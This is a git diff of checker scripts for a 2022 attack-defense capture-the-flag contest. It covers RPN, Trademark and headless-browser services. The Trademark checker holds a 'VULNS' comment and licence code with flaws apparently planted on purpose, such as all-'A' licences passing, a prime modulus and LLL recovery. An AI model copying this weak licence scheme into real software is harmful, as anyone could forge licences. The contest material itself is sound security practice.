"")) + assert len(b) == 16 + io.sendline(pwn.enhex(SK_CHECKER.sign(b)).encode()) + output = io.recvuntil(b"The value stack is empty") + if b'The value stack is empty' not in output: + # print("\n\n---") + # print(output.decode()) + # print("--\n\n") + checklib.quit(checklib.Status.DOWN, "Cannot set flag", + "Service doesn't reply after signature") + io.recvuntil(b"Ready") + io.close() + except SystemExit: + raise + except Exception as e: + checklib.quit(checklib.Status.DOWN, "Cannot set flag", str(e)) + checklib.quit(checklib.Status.OK, "OK") + + +def build_flag_name(flag): + hash = hashlib.sha256(flag.encode()) + hx = hash.hexdigest() + return "f" + hx[:30] + str(FLAG_STORE) + + +cmd_shortcuts = { + 'add': '+', + 'sub': '-', + 'mul': '*', + 'div': '/', + 'and': '&', + 'xor': '^', + 'or': '|', + 'help': '?' +} + + +def rand_bool(): + return random.randint(0, 1) == 0 + + +def s(): + return ' ; ' if rand_bool() else '\n' + + +def encode_path(path: str): + s = ["a"] * 21 + indexes = sorted(random.sample(range(len(s)), len(path))) + for i, direction in zip(indexes, path): + s[i] = direction + b = "" + for c in s: + if c == "l": + b = "010" + b + elif c == "r": + b = "101" + b + else: + b = random.choice(["001", "011", "100", "110"]) + b + return int(b, 2) + + +def rand_encode(cmd, dont_recurse=False): + r = random.randint(0, 1 if dont_recurse else 2) # [a, b] + if cmd in cmd_shortcuts and random.randint(0, 5) == 0: + return cmd_shortcuts[cmd] + if r == 0: + return cmd.title() + elif r == 1: + return cmd.upper() + elif r == 2: + int_literal = encode_path(cmd_paths[cmd]) + if rand_bool(): + return f"{int_literal}!" + else: + if rand_bool(): + return f"{int_literal}{s()}{rand_encode('eval', True)}" + else: + return f"{int_literal}{s()}{encode_path(cmd_paths['eval'])}!" + + +def _push_int(i, level, ps): + result = "" # to make static-analysis happy + i = ctypes.c_longlong(i).value + r = random.randint(0, 5) # [a, b] + if level == 2 or r == 0: + r = random.randint(0, 2) + if r == 0: + if i >= 0 and rand_bool(): + return f"+{i}{s()}" + return f"{i}{s()}" + elif r == 1: + if i >= 0: + return f"0x{hex(i)[2:].rjust(random.randint(0, 61), '0')}{s()}" + else: + return f"-0x{hex(i)[3:].rjust(random.randint(0, 60), '0')}{s()}" + elif r == 2: + if i >= 0: + return f"0{oct(i)[2:].rjust(random.randint(0, 62), '0')}{s()}" + else: + return f"-0{oct(i)[3:].rjust(random.randint(0, 61), '0')}{s()}" + level += 1 + # n = random.randint(-abs(i), abs(i)) + n = random.randint(MIN_LONG, MAX_LONG) + if r == 1: # Add and Sub + if rand_bool(): + result = f"{_push_int(i-n, level, ps)}{_push_int(n, level, ps)}{rand_encode('add')}{s()}" + else: + if rand_bool(): + result = f"{_push_int(i+n, level, ps)}{_push_int(n, level, ps)}{rand_encode('swap')} ; {rand_encode('sub')}{s()}" + else: + result = f"{_push_int(n, level, ps)}{_push_int(i+n, level, ps)}{rand_encode('sub')}{s()}" + elif r == 2: # Or + n &= i + result = f"{_push_int(n, level, ps)}{_push_int(i, level, ps)}{rand_encode('or')}{s()}" + elif r == 3: # And + n |= i + result = f"{_push_int(n, level, ps)}{_push_int(i, level, ps)}{rand_encode('and')}{s()}" + elif r == 4: # Xor + i ^= n + result = f"{_push_int(n, level, ps)}{_push_int(i, level, ps)}{rand_encode('xor')}{s()}" + elif r == 5: # Useless drop + if rand_bool(): + if rand_bool(): # plain + result = f"{_push_int(n, level, ps)}{rand_encode('drop')}{s()}{_push_int(i, level, ps)}" + else: # with pick/swap + result = f"{_push_int(i, level, ps)}{_push_int(n, level, ps)}" + n_dup = random.randint(1, 3) # esempio con 2 + for _ in range(n_dup): + result += f"{rand_encode('dup')}{s()}" + if rand_bool(): + result += f"{rand_encode('swap')}{s()}" + result += f"{rand_encode('drop')}{s()}" + pick = "Pick" if rand_bool() else "PICK" + result += f"{pick} {n_dup+1}{s()}" + for _ in range(n_dup+1): + result += f"{rand_encode('swap')}{s()}{rand_encode('drop')}{s()}" + else: # with time/functions + if rand_bool(): + result = f"{rand_encode('time')}{s()}" + if rand_bool(): + result += f"{rand_encode('time_to_str')}{s()}" + else: + result = f"{rand_encode('random')}{s()}" + result += f"{_push_int(i, level, ps)}{rand_encode('swap')}{s()}{rand_encode('drop')}{s()}" + if ps is not None: + assert ps == 0 or ps == 1 + if random.randint(0, 3) == 0: + result += f"{rand_encode('ps_status')}{s()}" + if ps == 0: + op = random.choice(['or', 'xor', 'add', 'sub']) + result += f"{rand_encode('swap')}{s()}{rand_encode(op)}{s()}" + else: + result += f"{rand_encode('mul')}{s()}" + elif random.randint(0, 3) == 0: + result += f"{rand_encode('ps_status')}{s()}" + n_dups = random.randint(0, 2) + result += f"{rand_encode('swap')}{s()}" + for _ in range(n_dups): + result += f"{rand_encode('dup')}{s()}" + result += f"SWAP {n_dups+1}{s()}" + for _ in range(n_dups+1): + result += f"{rand_encode('drop')}{s()}" + return result + + +def push_int(i, ps): + s = _push_int(i, 0, ps) + if s.endswith(" ; "): + s = s[:-3] + if not s.endswith("\n"): + s += "\n" + return s + + +def _push_str_or_id(s_or_id): + assert len(s_or_id) <= 32 + s_or_id = s_or_id.ljust(32, '\x00') + result = "" + ps = None + for i in range(24, -8, -8): + if random.randint(0, 2) == 0: + r = random.randint(MIN_LONG, MAX_LONG) + result += f"{push_int(r, ps)}{s()}{rand_encode('drop')}{s()}" + r = random.randint(0, 2) + if r == 0: + pass # do nothing + elif r == 1: + result += f"{rand_encode('ps_off')}{s()}" + ps = 0 + else: + result += f"{rand_encode('ps_on')}{s()}" + ps = 1 + result += push_int(pwn.u64(s_or_id[i:i+8].encode('latin1')), ps) + result += f"{rand_encode('ps_on')}{s()}" + return result + + +def push_str(st): # FIXME + r = random.randint(0, 1) + if r == 0: + return f'{repr(st)}\n' + return _push_str_or_id(st) + f"{rand_encode('ints_to_str')}\n" + + +def push_id(id): + r = random.randint(0, 2) + if r == 0: + return _push_str_or_id(id) + f"{rand_encode('ints_to_id')}\n" + elif r == 1: + return f"{id}\n" + elif r == 2: + if rand_bool(): + return f"{push_int(random.randint(MIN_LONG, MAX_LONG), None)}{rand_encode('drop')}{s()}{id}\n" + else: + return f"{push_int(random.randint(MIN_LONG, MAX_LONG), None)}{id}{s()}{rand_encode('swap')}{s()}{rand_encode('drop')}\n" + else: + assert False + + +def wait_for_result(io): + if rand_bool(): + io.sendline(rand_encode('help').encode()) + expected = 'Add the top two elements' + recv = io.recvuntil(expected.encode()).decode('latin1') + if expected not in recv: + return False, recv + else: + io.sendline(rand_encode('ver').encode()) + expected = '982059cf01a70efb' + recv = io.recvuntil(expected.encode()).decode('latin1') + if expected not in recv: + return False, recv + recv += io.recvuntil(b'Ready').decode('latin1') + return True, recv + + +def test_push_id(io): + rand_str = random.choice(string.ascii_lowercase + "_") + rand_str += "".join(random.sample(string.ascii_letters + + string.digits + "_", random.randint(1, 31))) + # log.info(f'Testing push_id({rand_str})') + encoding = push_id(rand_str).encode() + io.send(encoding) + wait_ok, s = wait_for_result(io) + if not wait_ok: + # print(s) + # print("###") + # print(encoding) + # print("###") + # print(encoding.decode()) + return False + end = '[ 0] \x1b[0;32m' + i = s.rfind(end) + if i < 0: + return False + i += len(end) + i2 = s.find('\x1b', i) + if i2 < i: + return False + result = s[i:i2] + if result != rand_str: + # print(rand_str) + # print(encoding.decode()) + # print(s) + return False + io.sendline(f"{rand_encode('drop')}\n".encode()) + return True + + +def test_push_str(io): + escaped = "\n\r\t\"\'\\" + safe_alphabet = string.ascii_letters + string.digits + "_={}[]" + alphabet = safe_alphabet + escaped + if random.randint(0, 30) == 0: + rand_str = ( + "".join(random.sample(safe_alphabet, random.randint(8, 10))) + + ("\\" * random.randint(1, 8)) + + "".join(random.sample(safe_alphabet, 7)) + + "".join(random.sample(alphabet, random.randint(0, 7))) + ) + i = 42 + else: + while True: + rand_str = "".join(random.sample(alphabet, random.randint(0, 32))) + i = rand_str.find("\\") + c = rand_str.count("\\") + if i == -1 or i > c: + break + # log.info(f'Testing push_str({repr(rand_str)})') + encoding = push_str(rand_str).encode() + io.send(encoding) + if any(c in rand_str for c in escaped): + rand_str = rand_str.encode() + if i >= 0: + rand_str = rand_str[rand_str.rindex(b"\\") + 1:] + # log.info(f"Reducing rand_str to {repr(rand_str)}") + if rand_str not in io.recvuntil(rand_str): + # print(encoding) + # print(encoding.decode()) + return False + io.sendline(f"{rand_encode('drop')}\n".encode()) + return True + wait_ok, s = wait_for_result(io) + if not wait_ok: + # print(encoding) + # print(encoding.decode()) + return False + end = '[ 0] \x1b[0;33m"' + i = s.rfind(end) + if i < 0: + return False + i += len(end) + i2 = s.find('"\x1b', i) + if i2 < i: + return False + result = s[i:i2] + if result != rand_str: + # print(rand_str) + # print(encoding.decode()) + # print(s) + return False + io.sendline(f"{rand_encode('drop')}\n".encode()) + return True + + +def switch_to_base(base): + result = "" + if base == 8: + if rand_bool(): + result += f"{rand_encode('dec')}{s()}" + result += f"{rand_encode('next_base')}{s()}" + result += f"{rand_encode('next_base')}{s()}" + else: + result += f"{rand_encode('oct')}{s()}" + elif base == 10: + result += f"{rand_encode('dec')}{s()}" + elif base == 16: + if rand_bool(): + result += f"{rand_encode('dec')}{s()}" + result += f"{rand_encode('next_base')}{s()}" + else: + result += f"{rand_encode('hex')}{s()}" + else: + # log.error(f'switch_to_base: {base=}') + pass + if random.randint(0, 10) == 0: + for _ in range(3 * random.randint(1, 5)): + garbage = rand_bool() + if garbage: + result += f"{push_int(random.randint(MIN_LONG, MAX_LONG), None)}" + result += f"{rand_encode('next_base')}{s()}" + if garbage: + result += f"{rand_encode('drop')}{s()}" + return result.encode() + + +def test_push_int(io): + r = random.randint(MIN_LONG, MAX_LONG) + # log.info(f'Testing push_int({r})') + base = random.choice([8, 10, 16]) + encoding = switch_to_base(base) + push_int(r, None).encode() + io.send(encoding) + wait_ok, s = wait_for_result(io) + if not wait_ok: + # print(encoding.decode()) + return False + end = '[ 0] \x1b[0;35m' + i = s.rfind(end) + if i < 0: + return False + i += len(end) + i2 = s.find('\x1b', i) + if i2 <= i: + return False + try: + result = int(s[i:i2], base) + except ValueError: + return False + if (result % 2**64) != (r % 2**64): + # print("------ WHAT????? -----") + # print('my random:', r, repr(r)) + # print('result :', result, repr(result)) + # print(encoding) + # print("###") + # print(encoding.decode()) + # print("###") + # print(s) + # print(repr(s)) + return False + io.sendline(f"{rand_encode('drop')}\n".encode()) + return True + + +def test_pushes(): + io = None + for i in range(50000): + if (i % 1000) == 0: + if io: + io.close() + # io = pwn.process('../services/service3/src/rpn_with_asan') + io = pwn.remote('127.0.0.1', 1337) + if b'Ready' not in io.recvuntil(b'Ready'): + # pwn.log.error("RPN is not ready") + return False + # log.info(f"test_pushes: {i=}") + if not test_push_int(io): + io.close() + return False + if not test_push_str(io): + io.close() + return False + if not test_push_id(io): + io.close() + return False + if not test_set_var(io): + io.close() + return False + io.close() + return True + + +def get_flag(): + io = connect_to_service() + grab_banner(io) + flag_value = data["flag"] + flag_name = build_flag_name(flag_value) + # log.info(f'get_flag({flag_value})') + flag_value = flag_value.encode() + try: + commands = "" + if rand_bool(): + commands += f"{push_int(random.randint(MIN_LONG, MAX_LONG), None)}{rand_encode('drop')}{s()}" + commands += f"{push_id(flag_name)}" + if rand_bool(): + commands += f"{push_int(random.randint(MIN_LONG, MAX_LONG), None)}{rand_encode('drop')}{s()}" + commands += f"{rand_encode('get_var')}\n" + io.send(commands.encode()) + if flag_value not in io.recvuntil(flag_value): + checklib.quit(checklib.Status.DOWN, "Flag not found") + io.close() + checklib.quit(checklib.Status.OK, "OK") + except SystemExit: + raise + except Exception as e: + checklib.quit(checklib.Status.DOWN, "Cannot get flag", str(e)) + + +def test_checker(): + def my_quit(exit_code, comment='', debug=''): + if isinstance(exit_code, checklib.Status): + exit_code = exit_code.value + + if exit_code != checklib.Status.OK.value: + print(comment, file=sys.stderr) + print(debug, file=sys.stderr) + sys.exit(exit_code) + + if pwn.args.ERROR: + pwn.context.log_level = logging.ERROR + checklib.quit = my_quit + global data, FLAG_STORE + data = {} + for round in range(10000): + global ROUND + ROUND = data['round'] = str(round) + flags = ["".join(random.sample(string.ascii_uppercase + + string.digits, 31))+"=" for __ in range(16)] + print(f'{round=}') # {flags=}') + for i in range(8): + check_sla() + FLAG_STORE = 1 + data['flag'] = flags[i] + put_flag() + FLAG_STORE = 2 + data['flag'] = flags[8 + i] + put_flag() + for i in range(8): + check_sla() + data['flag'] = flags[i] + FLAG_STORE = 1 + get_flag() + FLAG_STORE = 2 + data['flag'] = flags[8 + i] + get_flag() + return True + + +if __name__ != '__main__': + if ACTION == checklib.Action.CHECK_SLA.name: + check_sla() + elif ACTION == checklib.Action.PUT_FLAG.name: + put_flag() + elif ACTION == checklib.Action.GET_FLAG.name: + get_flag() + else: + assert False +else: + # log.info("Testing pushes") + # assert test_pushes() + # log.info("Testing the checker") + assert test_checker() diff --git a/checkers/7/checker.py b/checkers/7/checker.py new file mode 100644 index 0000000..ae05b45 --- /dev/null +++ b/checkers/7/checker.py @@ -0,0 +1,327 @@ +#!/usr/bin/env python3 +import base64 +import checklib +import errno +import gmpy2 +import hashlib +import json +import os +import random +import requests +import string +import time + +data = checklib.get_data() +action = data['action'] +rd = data['round'] +team_id = data['teamId'] +service_addr = '10.60.' + team_id + '.1' +service_port = "5000" +service_name = 'Trademark' + +SLEEP_MIN_TIME_MS = 500 +SLEEP_MAX_TIME_MS = 1500 + +# Create directory to store round data. +data_dir = 'data' +try: + os.makedirs(data_dir) +except OSError as e: + if e.errno != errno.EEXIST: + raise + + +# Read stored data for team-round +def read_round_data(): + try: + fl = hashlib.sha256(data['flag'].encode()).hexdigest() + with open(f'{data_dir}/{team_id}-{fl}.json', 'r') as f: + raw = f.read() + return json.loads(raw) + except (FileNotFoundError, json.decoder.JSONDecodeError): + return {} + + +# Store data for team-round +def store_round_data(d): + raw = json.dumps(d) + fl = hashlib.sha256(data['flag'].encode()).hexdigest() + + with open(f'{data_dir}/{team_id}-{fl}.json', 'w') as f: + f.write(raw) + + +def random_string(min, max): + letters = string.ascii_letters + string.digits + return ''.join(random.choice(letters) for i in range(random.randint(min, max))) + + +# Check user can register and read profile +def check_sla_user(): + username = random_string(16, 24) + password = random_string(12, 24) + + # Register user + r = requests.post(f'http://{service_addr}:{service_port}/api/register', + data={'username': username, 'password': password}, timeout=5) + if r.status_code != 200 and r.status_code != 201: + checklib.quit(checklib.Status.DOWN, 'Request failure', + f'check_sla_user http://{service_addr}/api/register (username={username}, password={password}): {r.status_code}\n{r.text}') + + sessionData = r.json() + if 'user_id' not in sessionData or not isinstance(sessionData['user_id'], int) or 'session' not in sessionData or not isinstance(sessionData['session'], str): + checklib.quit(checklib.Status.DOWN, 'Response error', + f'check_sla_user http://{service_addr}/api/register (username={username}, password={password}): {r.status_code}\n{r.text}') + + token = 'Bearer ' + \ + base64.b64encode( + (str(sessionData['user_id'])+':'+sessionData['session']).encode()).decode() + + time.sleep(random.randint(SLEEP_MIN_TIME_MS, SLEEP_MAX_TIME_MS) / 1000) + + # Check profile + r = requests.get(f'http://{service_addr}:{service_port}/api/users', + headers={'Authorization': token}, timeout=5) + if r.status_code != 200: + checklib.quit(checklib.Status.DOWN, 'Request failure', + f'check_sla_user http://{service_addr}/api/users: {r.status_code}\n{r.text}') + + userData = r.json() + if 'id' not in userData or not isinstance(userData['id'], int) or 'username' not in userData or not isinstance(userData['username'], str): + checklib.quit(checklib.Status.DOWN, 'Response error', + f'check_sla_user http://{service_addr}/api/users: {r.status_code}\n{r.text}') + + +# Check SLA +def check_sla(): + slas = [check_sla_user] + random.shuffle(slas) + + try: + for sla in slas: + sla() + except (requests.ConnectTimeout, requests.ReadTimeout, requests.Timeout) as e: + checklib.quit(checklib.Status.DOWN, 'Connection timeout', str(e)) + except requests.ConnectionError as e: + checklib.quit(checklib.Status.DOWN, 'Connection error', str(e)) + except json.decoder.JSONDecodeError as e: + checklib.quit(checklib.Status.DOWN, 'Response error', str(e)) + + checklib.quit(checklib.Status.OK, 'OK') + + +# Put the flag using the flag as the seed for random stuff +def put_flag(): + flag = data['flag'] + username = random_string(16, 24) + password = random_string(12, 24) + product = random_string(16, 24) + + try: + # Register user + r = requests.post(f'http://{service_addr}:{service_port}/api/register', data={ + 'username': username, 'password': password}, timeout=5) + if r.status_code != 200 and r.status_code != 201: + checklib.quit(checklib.Status.DOWN, 'Request failure', + f'put_flag http://{service_addr}/api/register (username={username}, password={password}): {r.status_code}\n{r.text}') + + sessionData = r.json() + if 'user_id' not in sessionData or not isinstance(sessionData['user_id'], int) or 'session' not in sessionData or not isinstance(sessionData['session'], str): + checklib.quit(checklib.Status.DOWN, 'Response error', + f'put_flag http://{service_addr}/api/register (username={username}, password={password}): {r.status_code}\n{r.text}') + + token = 'Bearer ' + \ + base64.b64encode( + (str(sessionData['user_id'])+':'+sessionData['session']).encode()).decode() + + time.sleep(random.randint(SLEEP_MIN_TIME_MS, SLEEP_MAX_TIME_MS) / 1000) + + # Create product + r = requests.post(f'http://{service_addr}:{service_port}/api/products', data={ + 'name': product, 'description': '', 'content': flag}, headers={'Authorization': token}, timeout=15) + if r.status_code != 200 and r.status_code != 201: + checklib.quit(checklib.Status.DOWN, 'Request failure', + f'put_flag http://{service_addr}/api/products (name={product}): {r.status_code}\n{r.text}') + + productData = r.json() + if 'id' not in productData or not isinstance(productData['id'], int) or 'keys' not in productData or not isinstance(productData['keys'], list): + checklib.quit(checklib.Status.DOWN, 'Response error', + f'put_flag http://{service_addr}/api/products (name={product}): {r.status_code}\n{r.text}') + + product_id = productData['id'] + keys = [] + for k in productData['keys']: + if not isinstance(k, str): + checklib.quit(checklib.Status.DOWN, 'Response error', + f'put_flag http://{service_addr}/api/products key not string: {r.status_code}\n{r.text}') + keys.append(k) + if len(keys) < 1: + checklib.quit(checklib.Status.DOWN, 'Response error', + f'put_flag http://{service_addr}/api/products key not string: {r.status_code}\n{r.text}') + + except (requests.ConnectTimeout, requests.ReadTimeout, requests.Timeout) as e: + checklib.quit(checklib.Status.DOWN, 'Connection timeout', str(e)) + except requests.ConnectionError as e: + checklib.quit(checklib.Status.DOWN, 'Connection error', str(e)) + except json.decoder.JSONDecodeError as e: + checklib.quit(checklib.Status.DOWN, 'Response error', str(e)) + + store_round_data({ + 'username': username, + 'password': password, + 'product': product, + 'product_id': product_id, + 'keys': keys, + }) + + checklib.post_flag_id(service_name, service_addr, str(product_id)) + checklib.quit(checklib.Status.OK, 'OK') + + +# Check if the flag still exists, use the flag as the seed for random stuff as for put flag +def get_flag(): + flag = data['flag'] + + storedData = read_round_data() + if not storedData: + checklib.quit(checklib.Status.DOWN, + 'Precondition Failed', 'storedData empty') + + if 'product_id' not in storedData or 'keys' not in storedData: + checklib.quit(checklib.Status.ERROR, 'Precondition Failed', + 'storedData invalid: ' + json.dumps(storedData)) + + username = random_string(16, 24) + password = random_string(12, 24) + product_id = storedData['product_id'] + keys = storedData['keys'] + + try: + # Register user + r = requests.post(f'http://{service_addr}:{service_port}/api/register', data={ + 'username': username, 'password': password}, timeout=5) + if r.status_code != 200 and r.status_code != 201: + checklib.quit(checklib.Status.DOWN, 'Request failure', + f'put_flag http://{service_addr}/api/register (username={username}, password={password}): {r.status_code}\n{r.text}') + + sessionData = r.json() + if 'user_id' not in sessionData or not isinstance(sessionData['user_id'], int) or 'session' not in sessionData or not isinstance(sessionData['session'], str): + checklib.quit(checklib.Status.DOWN, 'Response error', + f'get_flag http://{service_addr}/api/register (username={username}, password={password}): {r.status_code}\n{r.text}') + + token = 'Bearer ' + \ + base64.b64encode( + (str(sessionData['user_id'])+':'+sessionData['session']).encode()).decode() + + time.sleep(random.randint(SLEEP_MIN_TIME_MS, SLEEP_MAX_TIME_MS) / 1000) + + # Show product + r = requests.get(f'http://{service_addr}:{service_port}/api/products/{product_id}', + headers={'Authorization': token}, timeout=5) + if r.status_code != 200: + checklib.quit(checklib.Status.DOWN, 'Request failure', + f'get_flag http://{service_addr}/api/products/{product_id}: {r.status_code}\n{r.text}') + + productData = r.json() + if 'id' not in productData or not isinstance(productData['id'], int) or 'license' not in productData or not isinstance(productData['license'], dict) or 'mod' not in productData['license'] or not isinstance(productData['license']['mod'], str) or 'poly' not in productData['license'] or not isinstance(productData['license']['poly'], list): + checklib.quit(checklib.Status.DOWN, 'Response error', + f'get_flag http://{service_addr}/api/products/{product_id}: {r.status_code}\n{r.text}') + + mod = gmpy2.mpz(productData['license']['mod']) + poly = [] + for p in productData['license']['poly']: + poly.append(gmpy2.mpz(p)) + + # Validate license + lic = random.choice(keys) + if not verify_licence(lic, poly, mod): + checklib.quit(checklib.Status.DOWN, 'Response error', + f'License does not validate: lic={lic}, mod={mod}, poly={poly}') + + # Download product + r = requests.post(f'http://{service_addr}:{service_port}/api/products/{product_id}/download', data={ + 'license': lic}, headers={'Authorization': token}, timeout=10) + if r.status_code != 200: + checklib.quit(checklib.Status.DOWN, 'Request failure', + f'get_flag http://{service_addr}/api/products/{product_id}/download (license={lic}): {r.status_code}\n{r.text}') + + if flag not in r.text: + checklib.quit(checklib.Status.DOWN, 'Response error', + f'put_flag http://{service_addr}/api/products/{product_id}/download (license={lic}): {r.status_code}\n{r.text}') + + except (requests.ConnectTimeout, requests.ReadTimeout, requests.Timeout) as e: + checklib.quit(checklib.Status.DOWN, 'Connection timeout', str(e)) + except requests.ConnectionError as e: + checklib.quit(checklib.Status.DOWN, 'Connection error', str(e)) + except (json.decoder.JSONDecodeError, ValueError) as e: + checklib.quit(checklib.Status.DOWN, 'Response error', str(e)) + + checklib.quit(checklib.Status.OK, 'OK') + + +# VULNS: +# - In create_licences: it is wrong to start from [0,1]; this allows licences like AAAAAA-AAAAAA-AAAAAAA-AAAAAA to always pass +# Fix: start from [1] +# - In create_licences: it is wrong to get mod as a prime number, since you can easily solve for the licences knowing the polynomial +# Fix: mod = next_prime(random.getrandbits(1024))*next_prime(random.getrandbits(1024)) +# - In create_licences: if n is small enough, since licences << mod you can find small roots with LLL and find licences (for reference: like n=5 allows to retrieve licences) +# Fix: bigger licences/smaller modulus in order to make LLL unfeasible +# - In verify_licence: checks on the number of characters of the licences are missing, so you can craft infinite valid licences from a known one. Probably useless. +def multiply_poly(a, b, mod): + res = [0] * (len(a) + len(b) - 1) + for i in range(len(a)): + for j in range(len(b)): + res[i+j] += a[i]*b[j] + res[i+j] %= mod + return res + + +def eval_poly(coefs, x, mod): + res = 0 + for i, c in enumerate(coefs): + res += c*pow(x, i, mod) + res %= mod + return res + + +def num_to_list(x): + if x < 26: + return [x] + return [x % 26] + num_to_list(x//26) + + +def licence_to_string(x): + alph = string.ascii_uppercase + lic = ''.join([alph[i] for i in num_to_list(x)]) + while len(lic) % 7 != 0: + lic += "A" + return '-'.join([lic[i:i+7] for i in range(0, len(lic), 7)]) + + +def create_licences(n, app_secret, flag_id): + mod = gmpy2.next_prime(random.getrandbits(1024)) + licences = [random.getrandbits(128) for _ in range(n)] + poly = multiply_poly( + [0, 1], [int(hashlib.sha512(app_secret + flag_id).hexdigest(), 16), 1], mod) + for lic in licences: + poly = multiply_poly(poly, [-lic, 1], mod) + + return (poly, mod, [licence_to_string(x) for x in licences]) + + +def verify_licence(x, poly, mod): + alph = string.ascii_uppercase + real_lic = x.replace("-", "") + real_lic = [alph.index(c) for c in real_lic] + real_lic = sum(c*26**i for i, c in enumerate(real_lic)) + return eval_poly(poly, real_lic, mod) == 0 + + +if __name__ == "__main__": + + if action == checklib.Action.CHECK_SLA.name: + check_sla() + elif action == checklib.Action.PUT_FLAG.name: + put_flag() + elif action == checklib.Action.GET_FLAG.name: + get_flag() diff --git a/checkers/7/checklib.py b/checkers/7/checklib.py new file mode 100644 index 0000000..4c573fa --- /dev/null +++ b/checkers/7/checklib.py @@ -0,0 +1,53 @@ +import sys +from enum import Enum +import requests +import os + +TOKEN = 'PRIVATE-TOKEN' + + +class Status(Enum): + OK = 101 + DOWN = 104 + ERROR = 110 + + +class Action(Enum): + CHECK_SLA = 'CHECK_SLA' + PUT_FLAG = 'PUT_FLAG' + GET_FLAG = 'GET_FLAG' + + def __str__(self): + return str(self.value) + + +def get_data(): + data = { + 'action': os.environ['ACTION'], + 'teamId': os.environ['TEAM_ID'], + 'round': os.environ['ROUND'] + } + + if data['action'] == Action.PUT_FLAG.name or data['action'] == Action.GET_FLAG.name: + data['flag'] = os.environ['FLAG'] + + return data + + +def quit(exit_code, comment='', debug=''): + if isinstance(exit_code, Status): + exit_code = exit_code.value + + print(comment) + print(debug, file=sys.stderr) + exit(exit_code) + + +def post_flag_id(service_id, team_id, flag_id): + requests.post('http://flagid:8081/postFlagId', json={ + 'token': TOKEN, + 'serviceId': service_id, + 'teamId': team_id, + 'round': int(os.environ['ROUND']), + 'flagId': flag_id + }) diff --git a/checkers/README.md b/checkers/README.md new file mode 100644 index 0000000..85ec471 --- /dev/null +++ b/checkers/README.md @@ -0,0 +1,20 @@ +# International Cybersecurity Challenge 2022 - Athens + +## Services checkers + +| # | service | store | checker | +| :-: | :------------------------ | :---: | --------------------------------- | +| 0 | ClosedSea | 1 | [checker](/checkers/0/checker.py) | +| 1 | ClosedSea | 2 | [checker](/checkers/1/checker.py) | +| 2 | CyberUni - ExamNotes | 1 | [checker](/checkers/2/checker.py) | +| 3 | CyberUni - EncryptedNotes | 2 | [checker](/checkers/3/checker.py) | +| 4 | CyberUni - ExamPortal | 3 | [checker](/checkers/4/checker.py) | +| 5 | RPN | 1 | [checker](/checkers/5/checker.py) | +| 6 | RPN | 2 | [checker](/checkers/6/checker.py) | +| 7 | Trademark | 1 | [checker](/checkers/7/checker.py) | + +## How to run + +- Check sla: `ACTION=CHECK_SLA TEAM_ID=0 ROUND=0 ./checker.py` +- Put flag: `ACTION=CHECK_SLA TEAM_ID=0 ROUND=0 FLAG=FLAG ./checker.py` +- Get flag: `ACTION=CHECK_SLA TEAM_ID=0 ROUND=0 FLAG=FLAG ./checker.py` diff --git a/checkers/headless/.gitignore b/checkers/headless/.gitignore new file mode 100644 index 0000000..ccb2c80 --- /dev/null +++ b/checkers/headless/.gitignore @@ -0,0 +1,2 @@ +node_modules/ +package-lock.json \ No newline at end of file diff --git a/checkers/headless/Dockerfile b/checkers/headless/Dockerfile new file mode 100644 index 0000000..1651e53 --- /dev/null +++ b/checkers/headless/Dockerfile @@ -0,0 +1,18 @@ +FROM node:12.22 + +RUN apt-get update \ + && apt-get install -y libx11-xcb1 libxcomposite1 libxcursor1 \ + libxdamage1 libxi6 libxtst6 libnss3 libcups2 libxss1 libxrandr2 \ + libgconf-2-4 libasound2 libatk1.0-0 libgtk-3-0 dumb-init \ + && rm -rf /var/lib/apt/lists/* + + +#RUN chmod -R o+rx /usr/local/lib/nodejs/node-v12.22.1-linux-x64/lib/node_modules/puppeteer/.local-chromium + +WORKDIR /app + + +COPY . /app +RUN npm install +ENTRYPOINT ["/usr/bin/dumb-init", "--"] +CMD ["node", "app.js"] \ No newline at end of file diff --git a/checkers/headless/app.js b/checkers/headless/app.js new file mode 100644 index 0000000..e2ac87c --- /dev/null +++ b/checkers/headless/app.js @@ -0,0 +1,235 @@ +const puppeteer = require("puppeteer"); +const express = require("express"); +const { response } = require("express"); +const app = express(); +const port = 3000; +app.use(express.json()); + +const http = require("http"); +const server = http.createServer(app); +const { Server } = require("socket.io"); +const io = new Server(server); + +let base_url = ""; + +if (process.env.DEBUG) { + base_url = "http://172.17.0.1:3003"; + base_url = "http://localhost:3003"; +} else { + base_url = "http://10.60." + process.env.TEAM_ID + ".1:3003"; +} + +app.get("/", async (req, res) => { + res.send("Alive"); +}); + +io.on("connection", async (socket) => { + console.log("Checker connected."); + // starts chrome + + const browser = await puppeteer.launch({ + args: ["--no-sandbox", "--user-agent=" + getRandomUserAgent()], + //slowMo: 50, + //headless: true, + ignoreHTTPSErrors: true, + }); + + console.log("Browser started."); + const page = await browser.newPage(); + await page.setDefaultNavigationTimeout(10000); + await page.setDefaultTimeout(10000); + + await page.setRequestInterception(true); + page.on("request", (req) => { + if (req.resourceType() === "image") req.abort(); + else req.continue(); + }); + console.log("Page opened."); + socket.on("disconnect", async () => { + console.log("Checker disconnected. Closing the browser."); + const pages = await browser.pages(); + await Promise.all(pages.map((page) => page.close())).catch(() => + browser.close() + ); + await browser.close(); + }); + + socket.on("register", async (msg, ack) => { + console.log("Registering user."); + res = await register(page, msg["username"], msg["password"]) + .then((res) => res) + .catch((e) => { + return { error: true, msg_err: e.stack }; + }); + ack(res); + socket.emit("user_registered"); + console.log("User registerd. Errors:", res["error"]); + }); + + socket.on("visit", async (msg, ack) => { + err = await visit(page, msg) + .then((res) => res) + .catch((e) => { + return { error: true, msg_err: e }; + }); + ack(err); + }); + + socket.on("login", async (msg) => { + console.log("Login user."); + err = await login( + page, + msg["username"], + msg["password"], + msg["private_key"] + ) + .then((res) => res) + .catch((e) => { + return { error: true, msg_err: e }; + }); + console.log("User login ended. Errors:", res["error"]); + return err; + }); + + socket.on("buy", async (msg) => { + console.log("Buy of nft " + msg["nft_id"] + " started"); + err = await buy(page, msg["nft_id"]) + .then((res) => res) + .catch((e) => { + return { error: true, msg_err: e }; + }); + + console.log("Finished buying nft. Errors:", res["error"]); + socket.emit("buyed"); + return err; + }); + + socket.on("donate", async (msg) => { + console.log( + "Donate nft " + msg["nft_id"] + " to " + msg["to"] + " started" + ); + err = await donate(page, msg["nft_id"], msg["to"]) + .then((res) => res) + .catch((e) => { + return { error: true, msg_err: e }; + }); + console.log("Finished donating nft. Errors:", res["error"], err); + socket.emit("donated"); + return err; + }); + console.log("Headless ready."); + socket.emit("ready"); +}); +server.listen(port, () => { + console.log(`Headless listening at http://0.0.0.0:${port}`); +}); + +async function visit(page, url) { + await page.goto(url); + //await 